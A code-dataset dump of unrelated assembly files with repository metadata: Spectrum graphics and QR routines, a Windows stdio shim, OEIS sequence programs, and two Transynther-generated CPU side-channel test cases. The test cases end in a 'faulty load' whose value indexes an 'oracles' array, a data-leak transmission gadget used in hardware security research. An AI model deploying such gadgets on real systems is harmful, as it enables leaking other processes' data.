(hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08b1 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08b2 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08b3 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08cc ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08cd ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08ce ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08cf ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08d0 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08d1 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08d2 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08d3 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld a, 254 ld hl, basescradr + #04f4 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0814 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0834 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0854 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0874 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0894 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08b4 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08d4 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ret
11.599308
27
0.454627
a26594b07bba9afa879563d5e93238110c1c3fef
700
asm
Assembly
src/spectrum/spectrum.asm
nagydani/qrc1
3615ae2a12c8b45f1d820486834422c56faf48cb
[ "MIT" ]
7
2020-10-28T18:11:19.000Z
2021-07-14T13:32:56.000Z
src/spectrum/spectrum.asm
nagydani/qrc1
3615ae2a12c8b45f1d820486834422c56faf48cb
[ "MIT" ]
null
null
null
src/spectrum/spectrum.asm
nagydani/qrc1
3615ae2a12c8b45f1d820486834422c56faf48cb
[ "MIT" ]
1
2021-12-15T23:23:50.000Z
2021-12-15T23:23:50.000Z
; ROM routines PLOT_SUB: equ $22E5 SCANNING: equ $24FB STK_FETCH: equ $2BF1 REPORT_A: equ $34E7 ; System variables CH_ADD: equ $5C5D org 50000 start: ld hl, qstr ld (CH_ADD), hl call SCANNING call STK_FETCH ld a, b or a jp nz, REPORT_A or c jr z, empty cp 252 empty: jp nc, REPORT_A ld hl, qrc11_message + 1 ld (hl), a inc hl ex de, hl ldir include "../qrc11.asm" qrc11_module: push bc push hl sla b sla c ld a, 189 sub b ld b, c ld c, a ld a, 50 add a, b ld b, a push bc call PLOT_SUB pop bc inc b push bc call PLOT_SUB pop bc inc c push bc call PLOT_SUB pop bc dec b call PLOT_SUB pop hl pop bc ret qstr: db "q$", 13 qrc11_map: incbin "../v11.bin"
11.290323
25
0.658571
bf10155c9b91e539eb2b3056435f748896a450d9
1,830
asm
Assembly
stdio_win64.asm
taisukef/hello-x64asm
703cdf92981e149e1c9753dcd694e47da9bff8b6
[ "MIT" ]
1
2020-06-21T15:22:58.000Z
2020-06-21T15:22:58.000Z
stdio_win64.asm
taisukef/hello-x64asm
703cdf92981e149e1c9753dcd694e47da9bff8b6
[ "MIT" ]
null
null
null
stdio_win64.asm
taisukef/hello-x64asm
703cdf92981e149e1c9753dcd694e47da9bff8b6
[ "MIT" ]
null
null
null
; syscall emulator for Windows x64 section .data STDIO_QUERY_STDOUT equ -11 STDIO_QUERY_STDIN equ -10 stdio_stdout dq 0 stdio_stdin dq 0 stdio_bytesWritten dq 0 stdio_bytesRead dq 0 section .text extern GetStdHandle stdio_init: mov rcx, STDIO_QUERY_STDOUT call GetStdHandle mov [rel stdio_stdout], rax mov rcx, STDIO_QUERY_STDIN call GetStdHandle mov [rel stdio_stdin], rax ret extern WriteFile stdio_write: ; rsi:buffer rdx:len of buffer push rax ; backup registers push rcx push rdx push r8 push r9 push r10 push r11 ; omit xmm0-5, ymm0-15(high), zmm0-15(high) mov rax, rsp ; for align and rax, 8 sub rsp, rax push rax sub rsp, 32 ; need to call mov r8, rdx ; len mov rdx, rsi ; buffer mov rcx, [rel stdio_stdout] mov r9, stdio_bytesWritten push qword 0 call WriteFile ; volatile RAX RCX RDX R8 R9 R10 R11 XMM0-5 YMM0-15(high) ZMM0-15(high) pop rax add rsp, 32 ; need to call pop rax ; for align and rax, 8 add rsp, rax pop r11 pop r10 pop r9 pop r8 pop rdx pop rcx pop rax ret extern ReadFile stdio_read: ; rsi:buffer rdx:len of buffer push rax ; backup registers push rcx push rdx push r8 push r9 push r10 push r11 ; omit xmm0-5, ymm0-15(high), zmm0-15(high) mov rax, rsp ; for align and rax, 8 sub rsp, rax push rax sub rsp, 32 ; need to call mov r8, rdx ; len mov rdx, rsi ; buffer mov rcx, [rel stdio_stdin] mov r9, stdio_bytesRead push qword 0 call ReadFile pop rax add rsp, 32 ; need to call pop rax ; for align and rax, 8 add rsp, rax pop r11 pop r10 pop r9 pop r8 pop rdx pop rcx pop rax ret extern ExitProcess stdio_exit: ; rdi: exitcode mov rax, rsp ; for align and rax, 8 sub rsp, rax push rax mov rcx, rdi call ExitProcess
15.913043
88
0.675956
e2e9a1e363f4151980a18b4d4544e0859db9a99d
6,954
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_349_1110.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_349_1110.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_349_1110.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x12812, %r11 nop nop nop nop add %rcx, %rcx mov (%r11), %edx nop nop nop nop add %r8, %r8 lea addresses_D_ht+0x15d12, %rsi lea addresses_WT_ht+0xd21a, %rdi nop add %r12, %r12 mov $10, %rcx rep movsl xor %r8, %r8 lea addresses_A_ht+0x1013b, %rdx clflush (%rdx) nop nop nop nop sub %rdi, %rdi movups (%rdx), %xmm7 vpextrq $0, %xmm7, %r12 nop nop nop mfence lea addresses_D_ht+0xa9a, %r12 nop nop nop nop nop and %rdx, %rdx mov $0x6162636465666768, %rdi movq %rdi, %xmm6 movups %xmm6, (%r12) and %r12, %r12 lea addresses_A_ht+0x305a, %rsi lea addresses_WT_ht+0xc17a, %rdi clflush (%rdi) nop nop nop nop nop cmp $31300, %rdx mov $72, %rcx rep movsw nop cmp %r12, %r12 lea addresses_A_ht+0x1762a, %r8 nop nop nop sub %r12, %r12 movups (%r8), %xmm1 vpextrq $1, %xmm1, %rdx add %r8, %r8 lea addresses_UC_ht+0x1ea9a, %rsi lea addresses_WC_ht+0x349a, %rdi nop add $1640, %r8 mov $111, %rcx rep movsw nop nop nop cmp $34081, %rcx lea addresses_D_ht+0xc99a, %rsi lea addresses_normal_ht+0x4f92, %rdi nop nop nop nop cmp %r11, %r11 mov $15, %rcx rep movsl nop nop nop nop cmp %rsi, %rsi lea addresses_A_ht+0x1cf9a, %r11 nop add %rdx, %rdx and $0xffffffffffffffc0, %r11 movaps (%r11), %xmm7 vpextrq $1, %xmm7, %r12 dec %r12 lea addresses_normal_ht+0xd3e8, %rsi nop nop nop nop and $25960, %r8 movb (%rsi), %cl nop add $18301, %r11 lea addresses_WT_ht+0x1509a, %rsi lea addresses_WT_ht+0x1d83e, %rdi nop nop nop nop add $9182, %rbx mov $101, %rcx rep movsq nop dec %rsi lea addresses_D_ht+0x15186, %rsi lea addresses_WT_ht+0x19b7a, %rdi nop nop nop nop sub $27700, %rbx mov $126, %rcx rep movsl nop nop nop nop nop and %rsi, %rsi lea addresses_normal_ht+0x3cfa, %r8 nop nop cmp %rdi, %rdi movl $0x61626364, (%r8) add %r12, %r12 lea addresses_WC_ht+0x379c, %rdx nop inc %rdi mov (%rdx), %r8w cmp %rsi, %rsi lea addresses_normal_ht+0x16e2f, %r11 nop nop nop nop xor $36137, %rdx movb $0x61, (%r11) nop nop and %rbx, %rbx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %r8 push %rbx push %rcx push %rdx // Load lea addresses_RW+0xaa5a, %r10 nop nop nop dec %rdx vmovups (%r10), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $0, %xmm1, %r13 add $64157, %rcx // Store mov $0x736b26000000047a, %r10 nop nop nop add %r14, %r14 mov $0x5152535455565758, %rdx movq %rdx, %xmm2 vmovups %ymm2, (%r10) nop nop nop nop nop and %r14, %r14 // Store lea addresses_US+0x1c86d, %r10 nop nop sub %r8, %r8 mov $0x5152535455565758, %r13 movq %r13, (%r10) nop xor $6805, %r10 // Store lea addresses_D+0x18e9a, %r14 nop nop and $31067, %rbx movl $0x51525354, (%r14) nop nop nop nop xor %r14, %r14 // Faulty Load lea addresses_WT+0x1d29a, %rbx nop nop nop and %r13, %r13 movups (%rbx), %xmm2 vpextrq $1, %xmm2, %rdx lea oracles, %rcx and $0xff, %rdx shlq $12, %rdx mov (%rcx,%rdx,1), %rdx pop %rdx pop %rcx pop %rbx pop %r8 pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_RW', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_NC', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': True, 'type': 'addresses_US', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_D', 'size': 4, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 2, 'NT': True, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}} {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}} {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}} {'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_A_ht', 'size': 16, 'AVXalign': True}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False}} {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}} {'39': 349} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
24.747331
1,046
0.65128
75c6088a6205de8671efa36fb18c35817a489d87
16
asm
Assembly
tests/snippets/labels.asm
fredmorcos/hackism
c1848e97fd002c463ab6298931b9be54aab5135f
[ "MIT" ]
1
2021-12-06T16:52:11.000Z
2021-12-06T16:52:11.000Z
tests/snippets/labels.asm
fredmorcos/hackism
c1848e97fd002c463ab6298931b9be54aab5135f
[ "MIT" ]
null
null
null
tests/snippets/labels.asm
fredmorcos/hackism
c1848e97fd002c463ab6298931b9be54aab5135f
[ "MIT" ]
null
null
null
(LABEL) (BAR)
5.333333
7
0.5
471f86c17ea260b563879e413a2233315a6901ea
562
asm
Assembly
Universe/Sun/CopySunXX12ScaledToSunXX18.asm
ped7g/EliteNext
6e930f9b9924b295d7281ee6acb879600d7e597f
[ "Unlicense" ]
9
2021-09-29T22:08:15.000Z
2022-03-23T05:35:43.000Z
Universe/Sun/CopySunXX12ScaledToSunXX18.asm
ped7g/EliteNext
6e930f9b9924b295d7281ee6acb879600d7e597f
[ "Unlicense" ]
1
2022-01-21T12:35:42.000Z
2022-01-21T17:47:24.000Z
Universe/Sun/CopySunXX12ScaledToSunXX18.asm
ped7g/EliteNext
6e930f9b9924b295d7281ee6acb879600d7e597f
[ "Unlicense" ]
1
2022-01-15T10:13:49.000Z
2022-01-15T10:13:49.000Z
CopySXX12ScaledToSXX18: CopyResultToSDrawCam: ldCopyByte SXX12 ,SXX18 ; XX12+0 => XX18+0 Set XX18(2 0) = dot_sidev ldCopyByte SXX12+1 ,SXX18+2 ; XX12+1 => XX18+2 ldCopyByte SXX12+2 ,SXX18+3 ; XX12+2 => XX18+3 Set XX12+1 => XX18+2 ldCopyByte SXX12+3 ,SXX18+5 ; XX12+3 => XX18+5 ldCopyByte SXX12+4 ,SXX18+6 ; XX12+4 => XX18+6 Set XX18(8 6) = dot_nosev ldCopyByte SXX12+5 ,SXX18+8 ; XX12+5 => XX18+8 ret
56.2
97
0.505338
45996d6c7e369186689ae5d6c9effded0755b23d
571
asm
Assembly
oeis/198/A198968.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/198/A198968.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/198/A198968.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A198968: 11*9^n-1. ; 10,98,890,8018,72170,649538,5845850,52612658,473513930,4261625378,38354628410,345191655698,3106724901290,27960524111618,251644717004570,2264802453041138,20383222077370250,183448998696332258,1651040988266990330,14859368894402912978,133734320049626216810,1203608880446635951298,10832479924019723561690,97492319316177512055218,877430873845597608496970,7896877864610378476472738,71071900781493406288254650,639647107033440656594291858,5756823963300965909348626730,51811415669708693184137640578 mov $1,9 pow $1,$0 sub $1,1 mul $1,11 add $1,10 mov $0,$1
57.1
490
0.880911
07de8105dcbb33080e5f28ee24dc1613224a408e
1,473
asm
Assembly
programs/oeis/022/A022400.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/022/A022400.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/022/A022400.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A022400: Fibonacci sequence beginning 1, 30. ; 1,30,31,61,92,153,245,398,643,1041,1684,2725,4409,7134,11543,18677,30220,48897,79117,128014,207131,335145,542276,877421,1419697,2297118,3716815,6013933,9730748,15744681,25475429,41220110,66695539,107915649,174611188,282526837,457138025,739664862,1196802887,1936467749,3133270636,5069738385,8203009021,13272747406,21475756427,34748503833,56224260260,90972764093,147197024353,238169788446,385366812799,623536601245,1008903414044,1632440015289,2641343429333,4273783444622,6915126873955,11188910318577,18104037192532,29292947511109,47396984703641,76689932214750,124086916918391,200776849133141,324863766051532,525640615184673,850504381236205,1376144996420878,2226649377657083,3602794374077961,5829443751735044,9432238125813005,15261681877548049,24693920003361054,39955601880909103,64649521884270157,104605123765179260,169254645649449417,273859769414628677,443114415064078094,716974184478706771,1160088599542784865,1877062784021491636,3037151383564276501,4914214167585768137,7951365551150044638,12865579718735812775,20816945269885857413,33682524988621670188,54499470258507527601,88181995247129197789,142681465505636725390,230863460752765923179,373544926258402648569,604408387011168571748,977953313269571220317,1582361700280739792065,2560315013550311012382,4142676713831050804447,6702991727381361816829 mov $2,1 mov $3,1 lpb $0 sub $0,1 mov $1,29 add $1,$3 add $3,$2 mov $2,$1 lpe add $1,$2 add $1,1 div $1,2 mov $0,$1
86.647059
1,298
0.879837
323be1e563903f18546a77484d8dbc6b2879e7a9
8,189
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1902.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1902.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1902.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x187f3, %rbp inc %rdi movups (%rbp), %xmm3 vpextrq $1, %xmm3, %r14 xor %rbx, %rbx lea addresses_WT_ht+0x128b3, %rsi lea addresses_WC_ht+0xa6f3, %rdi nop nop nop nop nop add %r10, %r10 mov $17, %rcx rep movsw nop nop nop sub $5942, %r14 lea addresses_normal_ht+0x142f3, %rbp nop nop add %rbx, %rbx mov (%rbp), %r14w nop nop nop cmp %rbx, %rbx lea addresses_A_ht+0x1c353, %rsi lea addresses_D_ht+0xe193, %rdi nop xor %r9, %r9 mov $32, %rcx rep movsb nop nop nop nop nop sub %rbx, %rbx lea addresses_normal_ht+0x15af3, %rsi lea addresses_WT_ht+0x9ef3, %rdi nop nop nop nop nop inc %rbp mov $67, %rcx rep movsq nop nop nop add $35779, %r14 lea addresses_WT_ht+0x12f3, %rbp nop nop xor $54707, %r14 movb (%rbp), %bl nop nop nop nop xor $24185, %rcx lea addresses_WT_ht+0x88f3, %rbp nop nop nop sub %rcx, %rcx mov (%rbp), %r14w nop nop nop nop nop mfence lea addresses_D_ht+0x1a503, %rsi lea addresses_A_ht+0x1e0f3, %rdi nop nop nop nop sub $4793, %r10 mov $107, %rcx rep movsq nop nop nop nop add %rcx, %rcx lea addresses_D_ht+0x12af3, %rsi lea addresses_WT_ht+0xc83, %rdi nop nop xor %r14, %r14 mov $20, %rcx rep movsq nop nop nop add $25116, %rsi lea addresses_UC_ht+0x19ab3, %rbx and %rcx, %rcx vmovups (%rbx), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %rbp nop nop dec %rbp lea addresses_WT_ht+0x16cb7, %rsi lea addresses_D_ht+0xfb73, %rdi nop sub %r9, %r9 mov $124, %rcx rep movsq nop nop nop nop nop mfence lea addresses_D_ht+0x8b8b, %rsi lea addresses_UC_ht+0x18313, %rdi nop nop nop dec %r9 mov $122, %rcx rep movsl nop nop nop add $42943, %rbp lea addresses_normal_ht+0xb9a3, %rdi nop nop nop nop sub $40826, %r10 movb $0x61, (%rdi) nop nop add %rsi, %rsi lea addresses_A_ht+0x154e3, %r14 nop nop nop nop cmp $49343, %rbp vmovups (%r14), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $0, %xmm4, %rsi nop nop nop sub %r9, %r9 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r15 push %r9 push %rbx push %rcx push %rdi push %rdx push %rsi // REPMOV mov $0xf53, %rsi lea addresses_US+0xd0f3, %rdi nop nop inc %r9 mov $116, %rcx rep movsb nop nop and %r9, %r9 // Store lea addresses_US+0x147f3, %rsi nop nop nop nop nop and $4581, %rdi mov $0x5152535455565758, %rcx movq %rcx, (%rsi) nop and %r15, %r15 // Faulty Load lea addresses_normal+0x172f3, %rsi nop nop nop add $15127, %r15 mov (%rsi), %dx lea oracles, %r15 and $0xff, %rdx shlq $12, %rdx mov (%r15,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r9 pop %r15 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal', 'congruent': 0}} {'dst': {'same': False, 'congruent': 0, 'type': 'addresses_US'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_P'}} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_US', 'congruent': 7}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_WC_ht', 'congruent': 8}} {'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_normal_ht', 'congruent': 10}} {'dst': {'same': False, 'congruent': 4, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}} {'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': True, 'congruent': 11, 'type': 'addresses_normal_ht'}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 11}} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT_ht', 'congruent': 9}} {'dst': {'same': False, 'congruent': 7, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'congruent': 4, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_UC_ht', 'congruent': 4}} {'dst': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}} {'dst': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 3}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_A_ht', 'congruent': 4}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 